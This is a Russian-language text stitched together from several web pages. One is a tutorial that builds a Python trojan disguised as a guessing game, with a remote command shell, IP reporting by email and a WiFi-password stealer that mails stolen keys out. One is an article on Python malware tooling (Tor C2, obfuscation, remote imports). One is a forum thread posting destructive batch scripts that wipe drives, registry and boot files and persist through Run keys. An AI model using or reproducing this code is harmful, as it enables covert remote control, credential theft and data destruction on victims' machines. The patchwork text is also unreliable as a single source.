Содержание
- 1 Как написать троян на Python
- 1.1 Определение IP-адреса
- 1.2 Бэкконнект по почте
- 1.3 Создание трояна на Python
- 1.4 Создание WiFi-стилера на Python
- 2 Заключение
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Еще по теме: Как написать вирус на Python
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный данным материалом. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Не забывайте об этом!
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socket from requests import get |
Обе библиотеки не поставляются с Python, поэтому, если они у вас отсутствуют, их нужно установить командой
pip.
pip install socket pip install requests |
Если вы видите ошибку, что у вас отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети hostname = socket.gethostname() # Определяем локальный (внутри сети) IP-адрес local_ip = socket.gethostbyname(hostname) # Определяем глобальный (публичный / в интернете) IP-адрес public_ip = get(‘http://api.ipify.org’).text |
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Я выбрал сайт
api.<wbr />ipify.<wbr />org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Никогда не встречал конструкции типа
print(<wbr />f‘{}<wbr />’)? Буква
f означает форматированные строковые литералы. А по простому — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это вам на JavaScript!).
Финальный код:
import socket from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через
pip <wbr />install):
import smtplib as smtp from getpass import getpass |
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмо email = ‘demo@spy-soft.net’ # Пароль от нее (вместо ***) password = ‘***’ # Почта, на которую отправляем письмо dest_email = ‘demo@spy-soft.net’ # Тема письма subject = ‘IP’ # Текст письма email_text = ‘TEXT’ |
Дальше сформируем письмо:
message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) |
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL(‘smtp.yandex.com’) # SMTP-сервер Яндекса server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки) server.ehlo(email) # Отправляем hello-пакет на сервер server.login(email, password) # Заходим на почту, с которой будем отправлять письмо server.auth_plain() # Авторизуемся server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение) server.quit() # Отключаемся от сервера |
В строке
server.<wbr />ehlo(<wbr />email) мы используем команду
EHLO. Большинство серверов SMTP поддерживают
ESMTP и
EHLO. Если сервер, к которому вы пытаетесь подключиться, не поддерживает
EHLO, можно использовать
HELO.
Полный код этой части трояна:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import smtplib as smtp import socket from getpass import getpass from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text email = ‘demo@spy-soft.net’ password = ‘***’ dest_email = ‘demo@spy-soft.net’ subject = ‘IP’ email_text = (f‘Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
После запуска скрипта, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
import random import socket import threading import os |
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# Создаем функцию игры def game(): # Берем случайное число от 0 до 1000 number = random.randint(0, 1000) # Счетчик попыток tries = 1 # Флаг завершения игры done = False # Пока игра не закончена, просим ввести новое число while not done: guess = input(‘Введите число: ‘) # Если ввели число if guess.isdigit(): # Конвертируем его в целое guess = int(guess) # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе if guess == number: done = True print(f‘Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.’) # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше else: tries += 1 if guess > number: print(‘Загаданное число меньше!’) else: print(‘Загаданное число больше!’) # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново else: print(‘Это не число от 0 до 1000!’) |
Зачем столько сложностей с проверкой на число? Можно было просто написать:
guess <wbr />= <wbr />int(<wbr />input(<wbr />‘Введите <wbr />число: <wbr />’)<wbr />) |
Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Создаем функцию трояна def trojan(): # IP-адрес атакуемого HOST = ‘192.168.2.112’ # Порт, по которому мы работаем PORT = 9090 # Создаем эхо-сервер client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((HOST, PORT)) while True: # Вводим команду серверу server_command = client.recv(1024).decode(‘cp866’) # Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом if server_command == ‘cmdon’: cmd_mode = True # Отправляем информацию на сервер client.send(‘Получен доступ к терминалу’.encode(‘cp866’)) continue # Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом if server_command == ‘cmdoff’: cmd_mode = False # Если запущен режим работы с терминалом, вводим команду в терминал через сервер if cmd_mode: os.popen(server_command) # Если же режим работы с терминалом выключен — можно вводить любые команды else: if server_command == ‘hello’: print(‘Hello World!’) # Если команда дошла до клиента — выслать ответ client.send(f‘{server_command} успешно отправлена!’.encode(‘cp866’)) |
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Следующая строка:
client <wbr />= <wbr />socket.<wbr />socket(<wbr />socket.<wbr />AF_INET, <wbr />socket.<wbr />SOCK_STREAM) |
создает эхо‑сервер (отправили запрос — получили ответ).
AF_INET означает работу с IPv4-адресацией, а
SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка:
client.<wbr />connect((<wbr />HOST, <wbr />PORT)<wbr />) |
указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция
client.<wbr />recv(<wbr />1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Команда
decode(<wbr />‘cp866’) декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно
cp866? Зайдем в командную строку и введем команду
chcp.
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть
utf—8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после
chcp ее номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
import subprocess import time |
Модуль
subprocess нужен для создания новых процессов и соединения с потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей WiFi:
# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) # Создаем список всех названий всех профилей сети (имена сетей) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] # Для каждого имени… for Wi—Fi in Wi—Fis: # …вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) # Забираем ключ results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] # Пытаемся его вывести в командной строке, отсекая все ошибки try: print(f‘Имя сети: {Wi-Fi}, Пароль: {results[0]}’) except IndexError: print(f‘Имя сети: {Wi-Fi}, Пароль не найден!’) |
Введя команду в командной строке:
netsh <wbr />wlan <wbr />show <wbr />profiles |
Mы получим следующее.
Если распарсить вывод выше и подставить имя сети в команду:
netsh <wbr />wlan <wbr />show <wbr />profile [<wbr />имя <wbr />сети] <wbr />key=clear |
Результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
if server_command == ‘Wi-Fi’: data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] for Wi—Fi in Wi—Fis: results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] try: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password: {results[0]}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() except IndexError: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password not found!’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На других языках это не сработает, но исправить поведение скрипта можно простым выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а значение — требуемая фраза на нужном языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Доработки
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам троян очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
Заключение
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что вы уважаете закон, а полученные знания о троянах вам никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будьте аккуратны и не делайте глупостей!
Еще по теме: Как создать троян для Android
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient
hostname = 'ifconfig.me' # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
# Create tor stream to host
with circuit.create_stream((hostname, 80)) as stream:
# Now we can communicate with host
stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py
"Grab the whole screen"
import pyscreenshot as ImageGrab
# grab fullscreen
im = ImageGrab.grab()
# save image file
im.save("fullscreen.png")
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
... import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
... import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'
Трояны
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
Просмотры: 2 955
Вам необходимо обновить браузер или попробовать использовать другой.
- Статус
- В этой теме нельзя размещать новые ответы.
- Дней с нами
- 2.453
- Розыгрыши
- 0
- Сообщения
- 322
- Репутация
+/- -
59
- Реакции
- 251
-
#1
2. Не тестируйте эти коды на своем ПК
3. Тема — баян
Что понадобится для создания вируса:
- Открыть Блокнот
- Вставить нужные коды
- Сохранить файл в формате .bat
Коды:
Удаляет все с доп. носителей
@echo off
del D:*.* /f /s /q
del E:*.* /f /s /q
del F:*.* /f /s /q
del G:*.* /f /s /q
del H:*.* /f /s /q
del I:*.* /f /s /q
del J:*.* /f /s /q
Удаляет все что хранится в реестре
@echo OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
Останавливает доступ в Интернет пользователя. Чтобы получить доступ обратно напишите IPconfig /renew в CMD
@echo off
Ipconfig /release
Отправляет сообщение и выключает компьютер
@echo off
msg * ваше сообщение
shutdown -c “ваше сообщение” -s
Простой вирус, который заставляет компьютер дать ошибку.
Сохранить как файл.VBS
Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)
Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
Next
Форматируются диски менее чем за 5 секунд. Только D, Е и С
rd/s/q D:
rd/s/q C:
rd/s/q E:
Останавливает компьютер каждый раз при его включении
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo «любой текст»
PAUSE
А теперь более опасные батники:
Заставляет систему упасть один раз потом компьютер не может быть перезапущен. Он удаляет все необходимое для запуска системы
НЕ ИСПОЛЬЗУЙТЕ НА СЕБЕ
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
Этот вирус отключает Интернет навсегда
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo «ваше сообщение»
PAUSE
- Дней с нами
- 2.453
- Розыгрыши
- 0
- Сообщения
- 322
- Репутация
+/- -
59
- Реакции
- 251
-
#2
- Дней с нами
- 3.158
- Розыгрыши
- 0
- Сообщения
- 855
- Репутация
+/- -
55
- Реакции
- 1.091
-
#6
1. Этот гайд создан в ознакомительных целях, например для контроля над ребенком
2. Не тестируйте эти коды на своем ПК
3. Тема — баянЧто понадобится для создания вируса:
- Открыть Блокнот
- Вставить нужные коды
- Сохранить файл в формате .bat
Коды:
Удаляет все с доп. носителей
Удаляет все что хранится в реестре
Останавливает доступ в Интернет пользователя. Чтобы получить доступ обратно напишите IPconfig /renew в CMD
Отправляет сообщение и выключает компьютер
Простой вирус, который заставляет компьютер дать ошибку.
Сохранить как файл.VBSФорматируются диски менее чем за 5 секунд. Только D, Е и С
Останавливает компьютер каждый раз при его включении
А теперь более опасные батники:
Заставляет систему упасть один раз потом компьютер не может быть перезапущен. Он удаляет все необходимое для запуска системы
НЕ ИСПОЛЬЗУЙТЕ НА СЕБЕ
Этот вирус отключает Интернет навсегда
ебать ты черт конешно
- Дней с нами
- 2.660
- Розыгрыши
- 0
- Сообщения
- 719
- Репутация
+/- -
39
- Реакции
- 858
-
#7
- Дней с нами
- 2.748
- Розыгрыши
- 19
- Сообщения
- 30.549
- Репутация
+/- -
1.815
- Реакции
- 38.217
-
#8
Хоть щас пихай во всякие сборки по minecraft под названием start.bat
Ну блять..Это же скучно…Вот если винлокер туда запихать…
- Дней с нами
- 3.220
- Розыгрыши
- 0
- Сообщения
- 53
- Репутация
+/- -
41
- Реакции
- 20
-
#9
- Дней с нами
- 2.453
- Розыгрыши
- 0
- Сообщения
- 322
- Репутация
+/- -
59
- Реакции
- 251
-
#10
Все сработает когда вставишь код или сохранишь? Или когда откроешь???
Либо когда введешь это сразу в cmd, либо когда сохранишь файл с блокнота под расширением .bat и откроешь его
- Дней с нами
- 3.121
- Розыгрыши
- 0
- Сообщения
- 317
- Репутация
+/- -
33
- Реакции
- 363
-
#11
- Дней с нами
- 2.660
- Розыгрыши
- 0
- Сообщения
- 719
- Репутация
+/- -
39
- Реакции
- 858
-
#12
Либо когда введешь это сразу в cmd, либо когда сохранишь файл с блокнота под расширением .bat и откроешь его
А для этого не нужно запустить батник от имени админа? CMD же тогда будет без возможностей администратора и врятли сможет что-то серьёзное удалить.
- Дней с нами
- 2.233
- Розыгрыши
- 0
- Сообщения
- 26
- Репутация
+/- -
1
- Реакции
- 16
- Дней с нами
- 2.593
- Розыгрыши
- 1
- Сообщения
- 3.370
- Репутация
+/- -
125
- Реакции
- 3.630
-
#14
В годах так 2000 ты бы был мега хакер,а сейчас и школьники так могют делать
Игнорщик,бака!
- Дней с нами
- 3.121
- Розыгрыши
- 0
- Сообщения
- 317
- Репутация
+/- -
33
- Реакции
- 363
-
#15
там от опытного,а я ещё не дорос.Так,что не могу дать и да,я тебе отвечал хз чё такое
- Дней с нами
- 2.920
- Розыгрыши
- 0
- Сообщения
- 320
- Репутация
+/- -
25
- Реакции
- 160
-
#17
- Дней с нами
- 2.361
- Розыгрыши
- 0
- Сообщения
- 2.169
- Репутация
+/- -
22
- Реакции
- 907
-
#18
1. Этот гайд создан в ознакомительных целях, например для контроля над ребенком
2. Не тестируйте эти коды на своем ПК
3. Тема — баянЧто понадобится для создания вируса:
- Открыть Блокнот
- Вставить нужные коды
- Сохранить файл в формате .bat
Коды:
Удаляет все с доп. носителей
Удаляет все что хранится в реестре
Останавливает доступ в Интернет пользователя. Чтобы получить доступ обратно напишите IPconfig /renew в CMD
Отправляет сообщение и выключает компьютер
Простой вирус, который заставляет компьютер дать ошибку.
Сохранить как файл.VBSФорматируются диски менее чем за 5 секунд. Только D, Е и С
Останавливает компьютер каждый раз при его включении
А теперь более опасные батники:
Заставляет систему упасть один раз потом компьютер не может быть перезапущен. Он удаляет все необходимое для запуска системы
НЕ ИСПОЛЬЗУЙТЕ НА СЕБЕ
Этот вирус отключает Интернет навсегда
классно скопировал инфу с любого сайта 2012 и раньше года по запросу вирус в блокноте
- Дней с нами
- 2.453
- Розыгрыши
- 0
- Сообщения
- 322
- Репутация
+/- -
59
- Реакции
- 251
-
#19
классно скопировал инфу с любого сайта 2012 и раньше года по запросу вирус в блокноте
Я написал, что тема — баян и она создана для тех, кто не додумался погуглить
- Дней с нами
- 2.492
- Розыгрыши
- 3
- Сообщения
- 3.587
- Репутация
+/- -
314
- Реакции
- 4.080
- Telegram
- wavvy_the9
-
#20
Но так думаю будет проще
- Статус
- В этой теме нельзя размещать новые ответы.
